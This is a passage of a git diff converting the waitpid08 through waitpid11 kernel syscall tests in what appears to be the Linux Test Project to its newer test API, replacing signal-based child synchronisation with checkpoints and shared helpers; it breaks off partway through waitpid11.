-	ret_val = waitpid(-1, &status, WNOHANG | WUNTRACED);
-	if (ret_val != 0) {
-		tst_resm(TFAIL, "Waitpid returned wrong value");
-		tst_resm(TFAIL, "Expected 0 got %d", ret_val);
-		fail = 1;
-	}
-#ifdef UCLINUX
-	/* Give the kids a chance to setup SIGINT again, since this is
-	 * cleared by exec().
-	 */
-	sleep(3);
-#endif
+	if (TST_TRACE(waitpid_ret_test(-1, &status, WNOHANG | WUNTRACED, 0, 0)))
+		return;
 
-	/* Now send all the kids a SIGINT to tell them to
-	 * proceed
-	 */
-	for (i = 0; i < MAXKIDS; i++) {
-		if (kill(fork_kid_pid[i], SIGINT) < 0) {
-			tst_brkm(TFAIL, NULL, "Kill of child %d "
-				 "failed, errno = %d", i, errno);
-		}
-	}
+	TST_CHECKPOINT_WAKE2(0, MAXKIDS);
 
-	/*
-	 * Wait till all kids have terminated.  Stash away their
-	 * pid's in an array.
-	 */
-	kid_count = 0;
-	errno = 0;
-	while (((ret_val = waitpid(-1, &status, WUNTRACED)) !=
-		-1) || (errno == EINTR)) {
-		if (ret_val == -1)
-			continue;
+	if (TST_TRACE(reap_children(-1, WUNTRACED, fork_kid_pid, MAXKIDS)))
+		return;
 
-		if (!WIFEXITED(status)) {
-			if (!WIFSTOPPED(status)) {
-				tst_resm(TFAIL, "Child %d did "
-					 "not stopped", ret_val);
-				fail = 1;
-			} else {
-				if (WSTOPSIG(status) != SIGSTOP) {
-					tst_resm(TFAIL,
-						 "Child %d "
-						 "exited with "
-						 "wrong status", ret_val);
-					tst_resm(TFAIL,
-						 "Expected "
-						 "SIGSTOP got %d",
-						 WSTOPSIG(status));
-					fail = 1;
-				}
-			}
-			if (kill(ret_val, SIGCONT) < 0) {
-				tst_resm(TFAIL, "Kill of child "
-					 "%d failed, errno = %d",
-					 ret_val, errno);
-				fail = 1;
-			}
-		}
-		wait_kid_pid[kid_count++] = ret_val;
-	}
-
-	/*
-	 * Check that for every entry in the fork_kid_pid array,
-	 * there is a matching pid in the wait_kid_pid array. If
-	 * not, it's an error.
-	 */
-	for (i = 0; i < kid_count; i++) {
-		found = 0;
-		for (j = 0; j < MAXKIDS; j++) {
-			if (fork_kid_pid[j] == wait_kid_pid[i]) {
-				found = 1;
-				break;
-			}
-		}
-		if (!found) {
-			tst_resm(TFAIL,
-				 "Did not find a wait_kid_pid "
-				 "for the fork_kid_pid of %d", wait_kid_pid[i]);
-			for (k = 0; k < MAXKIDS; k++) {
-				tst_resm(TFAIL,
-					 "fork_kid_pid[%d] = "
-					 "%d", k, fork_kid_pid[k]);
-			}
-			for (k = 0; k < kid_count; k++) {
-				tst_resm(TFAIL,
-					 "wait_kid_pid[%d] = "
-					 "%d", k, wait_kid_pid[k]);
-			}
-			fail = 1;
-		}
-	}
-
-	/*
-	 * Check that waitpid(WUNTRACED) returns -1 when no
-	 * stopped children
-	 */
-	ret_val = waitpid(-1, &status, WUNTRACED);
-	if (ret_val != -1) {
-		tst_resm(TFAIL, "Waitpid returned wrong value.");
-		tst_resm(TFAIL, "Expected -1 got %d from "
-			 "waitpid(WUNTRACED)", ret_val);
-		fail = 1;
-	}
-
-	if (errno != ECHILD) {
-		tst_resm(TFAIL, "Waitpid returned wrong errno.");
-		tst_resm(TFAIL, "Expected ECHILD got %d", errno);
-		fail = 1;
-	}
-
-	exit(fail);
+	tst_res(TPASS, "Test PASSED");
 }
 
-#ifdef UCLINUX
-/*
- * do_child_2_uclinux()
- *	sets up sigint handler again, then calls the normal child 2 function
- */
-static void do_child_2_uclinux(void)
-{
-	setup_sigint();
-	do_exit();
-}
-#endif
-
-static void setup(void)
-{
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
-
-static void inthandlr(void)
-{
-	intintr++;
-}
-
-static void wait_for_parent(void)
-{
-	int testvar;
-
-	while (!intintr)
-		testvar = 0;
-}
-
-static void do_exit(void)
-{
-	wait_for_parent();
-	exit(3);
-}
+static struct tst_test test = {
+	.tid = "waitpid08",
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = waitpid_setup,
+	.cleanup = waitpid_cleanup,
+	.test_all = waitpid_test,
+};
diff --git a/testcases/kernel/syscalls/waitpid/waitpid09.c b/testcases/kernel/syscalls/waitpid/waitpid09.c
index 1339c82..43beeff 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid09.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid09.c
@@ -1,57 +1,37 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	waitpid09.c
- *
- * DESCRIPTION
- *	Check ability of parent to wait until child returns, and that the
- *	child's process id is returned through the waitpid. Check that
- *	waitpid returns immediately if no child is present.
- *
- * ALGORITHM
- *	case 0:
- *		Parent forks a child and waits. Parent should do nothing
- *		further until child returns. The pid of the forked child
- *		should match the returned value from the waitpid.
- *
- *	case 1:
- *		Parent calls a waitpid with no children waiting. Waitpid
- *		should return a -1 since there are no children to wait for.
- *
- * USAGE:  <for command-line>
- *      waitpid09 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -e   : Turn on errno logging.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  *
  * History
  *	07/2001 John George
  *		-Ported
  *      04/2002 wjhuie sigset cleanups
- *
- * Restrictions
- *	None
+ */
+
+/*
+ * case 0:
+ *        waitpid(pid, WNOHANG) should return 0 if there is a running child
+ * case 1:
+ *        waitpid(pid, WNOHANG) should return the pid of the child if
+ *        the child has exited
+ * case 2:
+ *        waitpid(-1, 0) should return -1 with ECHILD if
+ *        there are no children to wait for.
+ * case 3:
+ *        waitpid(-1, WNOHANG) should return -1 with ECHILD if
+ *        there are no children to wait for.
  */
 
 #define _GNU_SOURCE 1
@@ -60,243 +40,139 @@
 #include <errno.h>
 #include <sys/wait.h>
 #include <stdlib.h>
+#include "tst_test.h"
 
-#include "test.h"
-
-char *TCID = "waitpid09";
-int TST_TOTAL = 1;
-volatile int intintr;
-
-static void setup(void);
-static void cleanup(void);
-static void inthandlr();
-static void do_exit(void);
-static void setup_sigint(void);
-#ifdef UCLINUX
-static void do_exit_uclinux(void);
-#endif
-
-int main(int argc, char **argv)
+static void cleanup_pid(pid_t pid)
 {
-	int lc;
-
-	int fail, pid, status, ret;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-#ifdef UCLINUX
-	maybe_run_child(&do_exit_uclinux, "");
-#endif
-
-	setup();
-
-	pid = FORK_OR_VFORK();
-	if (pid < 0) {
-		tst_brkm(TFAIL, cleanup, "Fork Failed");
-	} else if (pid == 0) {
-		/*
-		 * Child:
-		 * Set up to catch SIGINT.  The kids will wait till a
-		 * SIGINT has been received before they proceed.
-		 */
-		setup_sigint();
-
-		/* check for looping state if -i option is given */
-		for (lc = 0; TEST_LOOPING(lc); lc++) {
-			/* reset tst_count in case we are looping */
-			tst_count = 0;
-
-			intintr = 0;
-
-			fail = 0;
-			pid = FORK_OR_VFORK();
-			if (pid < 0) {
-				tst_brkm(TFAIL, cleanup, "Fork failed.");
-			} else if (pid == 0) {	/* child */
-#ifdef UCLINUX
-				if (self_exec(argv[0], "") < 0) {
-					tst_brkm(TFAIL, cleanup,
-						 "self_exec failed");
-				}
-#else
-				do_exit();
-#endif
-			} else {	/* parent */
-
-				/*
-				 *Check that waitpid with WNOHANG returns zero
-				 */
-				while (((ret = waitpid(pid, &status, WNOHANG))
-					!= 0) || (errno == EINTR)) {
-					if (ret == -1)
-						continue;
-
-					tst_resm(TFAIL, "return value for "
-						 "WNOHANG expected 0 got %d",
-						 ret);
-					fail = 1;
-				}
-#ifdef UCLINUX
-				/* Give the kids a chance to setup SIGINT again, since
-				 * this is cleared by exec().
-				 */
-				sleep(3);
-#endif
-
-				/* send SIGINT to child to tell it to proceed */
-				if (kill(pid, SIGINT) < 0) {
-					tst_resm(TFAIL, "Kill of child failed, "
-						 "errno = %d", errno);
-					fail = 1;
-				}
-
-				while (((ret = waitpid(pid, &status, 0)) != -1)
-				       || (errno == EINTR)) {
-					if (ret == -1)
-						continue;
-
-					if (ret != pid) {
-						tst_resm(TFAIL, "Expected %d "
-							 "got %d as proc id of "
-							 "child", pid, ret);
-						fail = 1;
-					}
-
-					if (status != 0) {
-						tst_resm(TFAIL, "status value "
-							 "got %d expected 0",
-							 status);
-						fail = 1;
-					}
-				}
-			}
-
-			pid = FORK_OR_VFORK();
-			if (pid < 0) {
-				tst_brkm(TFAIL, cleanup, "Second fork failed.");
-			} else if (pid == 0) {	/* child */
-				exit(0);
-			} else {	/* parent */
-				/* Give the child time to startup and exit */
-				sleep(2);
-
-				while (((ret = waitpid(pid, &status, WNOHANG))
-					!= -1) || (errno == EINTR)) {
-					if (ret == -1)
-						continue;
-
-					if (ret != pid) {
-						tst_resm(TFAIL, "proc id %d "
-							 "and retval %d do not "
-							 "match", pid, ret);
-						fail = 1;
-					}
-
-					if (status != 0) {
-						tst_resm(TFAIL, "non zero "
-							 "status received %d",
-							 status);
-						fail = 1;
-					}
-				}
-			}
-
-			if (fail)
-				tst_resm(TFAIL, "case 1 FAILED");
-			else
-				tst_resm(TPASS, "case 1 PASSED");
-
-			fail = 0;
-			ret = waitpid(pid, &status, 0);
-
-			if (ret != -1) {
-				tst_resm(TFAIL, "Expected -1 got %d", ret);
-				fail = 1;
-			}
-			if (errno != ECHILD) {
-				tst_resm(TFAIL, "Expected ECHILD got %d",
-					 errno);
-				fail = 1;
-			}
-
-			ret = waitpid(pid, &status, WNOHANG);
-			if (ret != -1) {
-				tst_resm(TFAIL, "WNOHANG: Expected -1 got %d",
-					 ret);
-				fail = 1;
-			}
-			if (errno != ECHILD) {
-				tst_resm(TFAIL, "WNOHANG: Expected ECHILD got "
-					 "%d", errno);
-				fail = 1;
-			}
-
-			if (fail)
-				tst_resm(TFAIL, "case 2 FAILED");
-			else
-				tst_resm(TPASS, "case 2 PASSED");
-		}
-
-		cleanup();
-	} else {
-		/* wait for the child to return */
-		waitpid(pid, &status, 0);
-		if (WEXITSTATUS(status) != 0) {
-			tst_brkm(TBROK, cleanup, "child returned bad "
-				 "status");
-		}
-	}
-
-	tst_exit();
-}
-
-/*
- * setup_sigint()
- *	sets up a SIGINT handler
- */
-static void setup_sigint(void)
-{
-	if ((sig_t) signal(SIGINT, inthandlr) == SIG_ERR) {
-		tst_brkm(TFAIL, cleanup, "signal SIGINT failed, errno = %d",
-			 errno);
+	if (pid > 0) {
+		kill(pid, SIGKILL);
+		waitpid(pid, NULL, 0);
 	}
 }
 
-static void setup(void)
+static void case0(void)
 {
-	TEST_PAUSE;
+	pid_t pid, ret;
+	int status;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		TST_CHECKPOINT_WAIT(0);
+
+		exit(0);
+	}
+
+	for (;;) {
+		ret = waitpid(pid, &status, WNOHANG);
+
+		if ((ret == -1) && (errno == EINTR))
+			continue;
+
+		if (ret == 0)
+			break;
+
+		tst_res(TFAIL, "waitpid(WNOHANG) returned %d, expected 0",
+			ret);
+		cleanup_pid(pid);
+		return;
+	}
+
+	TST_CHECKPOINT_WAKE(0);
+	SAFE_WAITPID(pid, NULL, 0);
+
+	tst_res(TPASS, "waitpid(pid, WNOHANG) = 0 for a running child");
 }
 
-static void cleanup(void)
+static void case1(void)
 {
+	pid_t pid, ret;
+	int status;
+
+	pid = SAFE_FORK();
+	if (pid == 0)
+		exit(0);
+
+	for (;;) {
+		ret = waitpid(pid, &status, WNOHANG);
+
+		if ((ret == -1) && (errno == EINTR))
+			continue;
+		if (ret == 0)
+			continue;
+
+		if (ret == pid)
+			break;
+
+		tst_res(TFAIL, "waitpid(WNOHANG) returned %d, expected %d",
+			ret, pid);
+		cleanup_pid(pid);
+		return;
+	}
+
+	if (!WIFEXITED(status)) {
+		tst_res(TFAIL, "Child exited abnormally");
+		return;
+	}
+
+	if (WEXITSTATUS(status) != 0) {
+		tst_res(TFAIL, "Child exited with %d, expected 0",
+			WEXITSTATUS(status));
+		return;
+	}
+
+	tst_res(TPASS, "waitpid(pid, WNOHANG) = pid for an exited child");
 }
 
-static void inthandlr(void)
+static void case2(void)
 {
-	intintr++;
+	pid_t ret;
+	int status;
+
+	ret = waitpid(-1, &status, 0);
+
+	if (ret != -1) {
+		tst_res(TFAIL, "Expected -1, got %d", ret);
+		return;
+	}
+	if (errno != ECHILD) {
+		tst_res(TFAIL, "Expected %s, got %s",
+			tst_strerrno(ECHILD), tst_strerrno(errno));
+		return;
+	}
+
+	tst_res(TPASS, "waitpid(-1, 0) = -1 with ECHILD if no children");
 }
 
-static void wait_for_parent(void)
+static void case3(void)
 {
-	int testvar;
-	while (!intintr)
-		testvar = 0;
+	pid_t ret;
+	int status;
+
+	ret = waitpid(-1, &status, WNOHANG);
+	if (ret != -1) {
+		tst_res(TFAIL, "WNOHANG: Expected -1, got %d", ret);
+		return;
+	}
+	if (errno != ECHILD) {
+		tst_res(TFAIL, "WNOHANG: Expected %s, got %s",
+			tst_strerrno(ECHILD), tst_strerrno(errno));
+		return;
+	}
+
+	tst_res(TPASS, "waitpid(-1, WNOHANG) = -1 with ECHILD if no children");
 }
 
-static void do_exit(void)
+static void (*tests[])(void) = { case0, case1, case2, case3 };
+
+static void waitpid09_test(unsigned int id)
 {
-	wait_for_parent();
-	exit(0);
+	tests[id]();
 }
 
-#ifdef UCLINUX
-/*
- * do_exit_uclinux()
- *	Sets up SIGINT handler again, then calls do_exit
- */
-static void do_exit_uclinux(void)
-{
-	setup_sigint();
-	do_exit();
-}
-#endif
+static struct tst_test test = {
+	.tid = "waitpid09",
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.test = waitpid09_test,
+	.tcnt = ARRAY_SIZE(tests),
+};
diff --git a/testcases/kernel/syscalls/waitpid/waitpid10.c b/testcases/kernel/syscalls/waitpid/waitpid10.c
index d239fda..90b3800 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid10.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid10.c
@@ -14,263 +14,59 @@
  * the GNU General Public License for more details.
  *
  * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * along with this program.
  */
 
 /*
- * Tests to see if pid's returned from fork and waitpid are same
+ * Tests to see if pids returned from fork and waitpid are same
  *
- * Set up to catch SIGINTs, SIGALRMs, and the real time timer. Until the timer
- * interrupts, do the following. Fork 8 kids, 2 will immediately exit, 2 will
- * sleep, 2 will be compute bound, and 2 will fork another child, both which
- * will do mkdirs on the same directory 50 times. When the timer expires, kill
- * all kids and remove the directory.
+ * Fork 8 kids, 2 will immediately exit, 2 will sleep, 2 will be compute bound
+ * and 2 will fork/reap a child for 50 times.
  */
 
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
+#include "waitpid_common.h"
 
-#include <stdio.h>
-#include <signal.h>
-#include <errno.h>
-#include "test.h"
-
-#define	MAXKIDS	8
-
-char *TCID = "waitpid10";
-int TST_TOTAL = 1;
-
-volatile int intintr;
-
-static void setup(void);
-static void cleanup(void);
-static void inthandlr();
-static void wait_for_parent(void);
-static void do_exit(void);
 static void do_compute(void);
 static void do_fork(void);
 static void do_sleep(void);
 
-static int fail;
-static int fork_kid_pid[MAXKIDS];
-
-#ifdef UCLINUX
-static char *argv0;
-#endif
-
-int main(int ac, char **av)
+static void do_child_1(void)
 {
-	int kid_count, ret_val, status, nkids;
-	int i, j, k, found;
-	int wait_kid_pid[MAXKIDS];
-
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-#ifdef UCLINUX
-	argv0 = av[0];
-
-	maybe_run_child(&do_exit, "n", 1);
-	maybe_run_child(&do_compute, "n", 2);
-	maybe_run_child(&do_fork, "n", 3);
-	maybe_run_child(&do_sleep, "n", 4);
-#endif
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		fail = 0;
-		kid_count = 0;
-		intintr = 0;
-		for (i = 0; i < MAXKIDS; i++) {
-			ret_val = FORK_OR_VFORK();
-			if (ret_val < 0)
-				tst_brkm(TBROK|TERRNO, cleanup,
-					 "Fork kid %d failed.", i);
-
-			if (ret_val == 0) {
-				if (i == 0 || i == 1) {
-#ifdef UCLINUX
-					if (self_exec(argv0, "n", 1) < 0)
-						tst_brkm(TBROK|TERRNO, cleanup,
-							 "self_exec %d failed",
-							 i);
-#else
-					do_exit();
-#endif
-				}
-
-				if (i == 2 || i == 3) {
-#ifdef UCLINUX
-					if (self_exec(argv0, "n", 2) < 0)
-						tst_brkm(TBROK|TERRNO, cleanup,
-							 "self_exec %d failed",
-							 i);
-#else
-					do_compute();
-#endif
-				}
-
-				if (i == 4 || i == 5) {
-#ifdef UCLINUX
-					if (self_exec(argv0, "n", 3) < 0)
-						tst_brkm(TBROK|TERRNO, cleanup,
-							 "self_exec %d failed",
-							 i);
-#else
-					do_fork();
-#endif
-				}
-
-				if (i == 6 || i == 7) {
-#ifdef UCLINUX
-					if (self_exec(argv0, "n", 4) < 0)
-						tst_brkm(TBROK|TERRNO, cleanup,
-							 "self_exec %d failed",
-							 i);
-#else
-					do_sleep();
-#endif
-
-				}
-
-			}
-
-			fork_kid_pid[kid_count++] = ret_val;
-		}
-
-		nkids = kid_count;
-
-		/*
-		 * Now send all the kids a SIGUSR1 to tell them to
-		 * proceed. We sleep for a while first to allow the
-		 * children to initialize their "intintr" variables
-		 * and get set up.
-		 */
-		sleep(15);
-
-		for (i = 0; i < nkids; i++) {
-			if (kill(fork_kid_pid[i], SIGUSR1) < 0) {
-				tst_brkm(TBROK|TERRNO, cleanup, "Kill of child "
-						"%d failed", i);
-			}
-		}
-
-		/* Wait till all kids have terminated. */
-		kid_count = 0;
-		errno = 0;
-		for (i = 0; i < nkids; i++) {
-			while (((ret_val = waitpid(fork_kid_pid[i],
-							&status, 0)) != -1)
-					|| (errno == EINTR)) {
-				if (ret_val == -1)
-					continue;
-
-				wait_kid_pid[kid_count++] = ret_val;
-			}
-		}
-
-		/*
-		 * Check that for every entry in the fork_kid_pid
-		 * array, there is a matching pid in the
-		 * wait_kid_pid array.
-		 */
-		for (i = 0; i < MAXKIDS; i++) {
-			found = 0;
-			for (j = 0; j < MAXKIDS; j++) {
-				if (fork_kid_pid[i] == wait_kid_pid[j]) {
-					found = 1;
-					break;
-				}
-			}
-			if (!found) {
-				tst_resm(TFAIL, "Did not find a "
-						"wait_kid_pid for the "
-						"fork_kid_pid of %d",
-						fork_kid_pid[i]);
-				for (k = 0; k < nkids; k++) {
-					tst_resm(TFAIL,
-							"fork_kid_pid[%d] = "
-							"%d", k,
-							fork_kid_pid[k]);
-				}
-				for (k = 0; k < kid_count; k++) {
-					tst_resm(TFAIL,
-							"wait_kid_pid[%d] = "
-							"%d", k,
-							wait_kid_pid[k]);
-				}
-				fail = 1;
-			}
-		}
-
-		memset(fork_kid_pid, 0, sizeof(fork_kid_pid));
-
-		if (fail)
-			tst_resm(TFAIL, "Test FAILED");
-		else
-			tst_resm(TPASS, "Test PASSED");
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	struct sigaction act;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	act.sa_handler = inthandlr;
-	act.sa_flags = SA_RESTART;
-	sigemptyset(&act.sa_mask);
-
-	if (sigaction(SIGUSR1, &act, NULL) < 0)
-		tst_brkm(TBROK|TERRNO, cleanup,
-			 "sigaction(SIGUSR1, ...) failed");
-
-	intintr = 0;
-
-}
-
-static void cleanup(void)
-{
+	pid_t pid;
 	int i;
 
 	for (i = 0; i < MAXKIDS; i++) {
-		if (fork_kid_pid[i] > 0)
-			kill(fork_kid_pid[i], SIGKILL);
+		pid = SAFE_FORK();
+		if (pid == 0) {
+			if (i == 0 || i == 1)
+				do_exit(0);
+
+			if (i == 2 || i == 3)
+				do_compute();
+
+			if (i == 4 || i == 5)
+				do_fork();
+
+			if (i == 6 || i == 7)
+				do_sleep();
+		}
+
+		fork_kid_pid[i] = pid;
 	}
-}
 
-static void inthandlr(void)
-{
-	intintr++;
-}
+	TST_CHECKPOINT_WAKE2(0, MAXKIDS);
 
-static void wait_for_parent(void)
-{
-	while (!intintr)
-		usleep(100);
-}
+	if (TST_TRACE(reap_children(0, 0, fork_kid_pid, MAXKIDS)))
+		return;
 
-static void do_exit(void)
-{
-	wait_for_parent();
-	exit(3);
+	tst_res(TPASS, "Test PASSED");
 }
 
 static void do_compute(void)
 {
 	int i;
 
-	wait_for_parent();
+	TST_CHECKPOINT_WAIT(0);
 
 	for (i = 0; i < 100000; i++) ;
 	for (i = 0; i < 100000; i++) ;
@@ -283,57 +79,43 @@
 	for (i = 0; i < 100000; i++) ;
 	for (i = 0; i < 100000; i++) ;
 
-	exit(4);
+	exit(3);
 }
 
 static void do_fork(void)
 {
-	int fork_pid, wait_pid;
-	int status, i;
+	pid_t fork_pid;
+	int i;
 
-	wait_for_parent();
+	TST_CHECKPOINT_WAIT(0);
 
 	for (i = 0; i < 50; i++) {
-		fork_pid = FORK_OR_VFORK();
-		if (fork_pid < 0) {
-			tst_brkm(TBROK|TERRNO, NULL, "Fork failed");
-		}
-		if (fork_pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv0, "n", 1) < 0) {
-				tst_brkm(TFAIL, NULL,
-					 "do_fork self_exec failed");
-			}
-#else
-			do_exit();
-#endif
-		}
+		fork_pid = SAFE_FORK();
+		if (fork_pid == 0)
+			exit(3);
 
-		errno = 0;
-		while (((wait_pid = waitpid(fork_pid, &status, 0)) != -1) ||
-		       (errno == EINTR)) {
-			if (wait_pid == -1)
-				continue;
-
-			if (fork_pid != wait_pid) {
-				tst_resm(TFAIL, "Didnt get a pid returned "
-					 "from waitpid that matches the one "
-					 "returned by fork");
-				tst_resm(TFAIL, "fork pid = %d, wait pid = "
-					 "%d", fork_pid, wait_pid);
-				fail = 1;
-			}
-		}
+		if (TST_TRACE(reap_children(fork_pid, 0, &fork_pid, 1)))
+			break;
 	}
 
-	exit(4);
+	exit(3);
 }
 
 static void do_sleep(void)
 {
-	wait_for_parent();
+	TST_CHECKPOINT_WAIT(0);
+
 	sleep(1);
 	sleep(1);
 
-	exit(4);
+	exit(3);
 }
+
+static struct tst_test test = {
+	.tid = "waitpid10",
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = waitpid_setup,
+	.cleanup = waitpid_cleanup,
+	.test_all = waitpid_test,
+};
diff --git a/testcases/kernel/syscalls/waitpid/waitpid11.c b/testcases/kernel/syscalls/waitpid/waitpid11.c
index 135ec56..41186fb 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid11.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid11.c
@@ -1,327 +1,70 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	waitpid11.c
- *
- * DESCRIPTION
- *	Tests to see if pid's returned from fork and waitpid are same
- *
- * ALGORITHM
- * 	Check proper functioning of waitpid with pid = -1 and arg = 0
- *
- * USAGE:  <for command-line>
- *      waitpid11 [-c n] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -t   : Turn on syscall timing.
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  *
  * History
  *	07/2001 John George
  *		-Ported
  *      04/2002 wjhuie sigset cleanups
- *
- * Restrictions
- *	None
  */
 
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <sys/wait.h>
-#include "test.h"
+/*
+ * DESCRIPTION
+ *	Tests to see if pids returned from fork and waitpid are same
+ *
+ * ALGORITHM
+ *	Check proper functioning of waitpid with pid = 0 and < -1 with arg 0
+ */
 
-#define	MAXKIDS	8
+#include "waitpid_common.h"
 
-char *TCID = "waitpid11";
-int TST_TOTAL = 1;
-
-volatile int intintr;
-static void setup(void);
-static void cleanup(void);
-static void inthandlr();
-static void wait_for_parent(void);
-static void do_exit(void);
-static void setup_sigint(void);
-#ifdef UCLINUX
-static void do_exit_uclinux(void);
-#endif
-
-static int fail;
-static int fork_kid_pid[MAXKIDS];
-
-int main(int ac, char **av)
+static void do_child_1(void)
 {
-	int kid_count, ret_val, status;
-	int i, j, k, found;
-	int group1, group2;
-	int wait_kid_pid[MAXKIDS];
-	int pid;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-#ifdef UCLINUX
-	maybe_run_child(&do_exit_uclinux, "");
-#endif
-
-	setup();
-
-	tst_count = 0;
-	fail = 0;
-
-	/*
-	 * Need to have test run from child as test driver causes
-	 * test to be a session leader and setpgrp fails.
-	 */
-
-	pid = FORK_OR_VFORK();
-	if (pid > 0) {
-		waitpid(pid, &status, 0);
-		if (WEXITSTATUS(status) != 0) {
-			tst_resm(TFAIL, "child returned bad status");
-			fail = 1;
-		}
-		if (fail)
-			tst_resm(TFAIL, "%s FAILED", TCID);
-		else
-			tst_resm(TPASS, "%s PASSED", TCID);
-		tst_exit();
-	} else if (pid < 0)
-		tst_brkm(TBROK, cleanup, "fork failed");
-
-	/*
-	 * Set up to catch SIGINT.  The kids will wait till a SIGINT
-	 * has been received before they proceed.
-	 */
-	setup_sigint();
-
-	group1 = getpgrp();
-
-	for (kid_count = 0; kid_count < MAXKIDS; kid_count++) {
-		if (kid_count == (MAXKIDS / 2))
-			group2 = setpgrp();
-
-		intintr = 0;
-		ret_val = FORK_OR_VFORK();
-		if (ret_val == 0) {
-#ifdef UCLINUX
-			if (self_exec(av[0], "") < 0)
-				tst_resm(TFAIL | TERRNO, "self_exec kid %d "
-					 "failed", kid_count);
-#else
-			do_exit();
-#endif
-		}
-
-		if (ret_val < 0)
-			tst_brkm(TBROK|TERRNO, cleanup, "Fork kid %d failed",
-				 kid_count);
-
-		/* parent */
-		fork_kid_pid[kid_count] = ret_val;
-	}
-
-#ifdef UCLINUX
-	/* Give the kids a chance to setup SIGINT again, since this is
-	 * cleared by exec().
-	 */
-	sleep(3);
-#endif
-
-	/* Now send all the kids a SIGINT to tell them to proceed */
-	for (i = 0; i < MAXKIDS; i++)
-		if (kill(fork_kid_pid[i], SIGINT) < 0)
-			tst_resm(TFAIL | TERRNO, "Kill of child %d failed", i);
-
-	/*
-	 * Wait till all kids have terminated.  Stash away their
-	 * pid's in an array.
-	 */
-	kid_count = 0;
-	errno = 0;
-	while (((ret_val = waitpid(0, &status, 0)) != -1) || (errno == EINTR)) {
-		if (ret_val == -1)
-			continue;
-
-		if (!WIFEXITED(status)) {
-			tst_resm(TFAIL, "Child %d did not exit "
-				 "normally", ret_val);
-			fail = 1;
-		} else {
-			if (WEXITSTATUS(status) != 3) {
-				tst_resm(TFAIL, "Child %d exited with "
-					 "wrong status", ret_val);
-				tst_resm(TFAIL, "Expected 3 got %d",
-					 WEXITSTATUS(status));
-				fail = 1;
-			}
-		}
-		wait_kid_pid[kid_count++] = ret_val;
-	}
-
-	/*
-	 * Check that for every entry in the fork_kid_pid array,
-	 * there is a matching pid in the wait_kid_pid array.  If
-	 * not, it's an error.
-	 */
-	for (i = 0; i < kid_count; i++) {
-		found = 0;
-		for (j = (MAXKIDS / 2); j < MAXKIDS; j++) {
-			if (fork_kid_pid[j] == wait_kid_pid[i]) {
-				found = 1;
-				break;
-			}
-		}
-		if (!found) {
-			tst_resm(TFAIL, "Did not find a fork_kid_pid "
-				 "for the wait_kid_pid of %d", wait_kid_pid[i]);
-			for (k = 0; k < MAXKIDS; k++) {
-				tst_resm(TFAIL, "fork_kid_pid[%d] = "
-					 "%d", k, fork_kid_pid[k]);
-			}
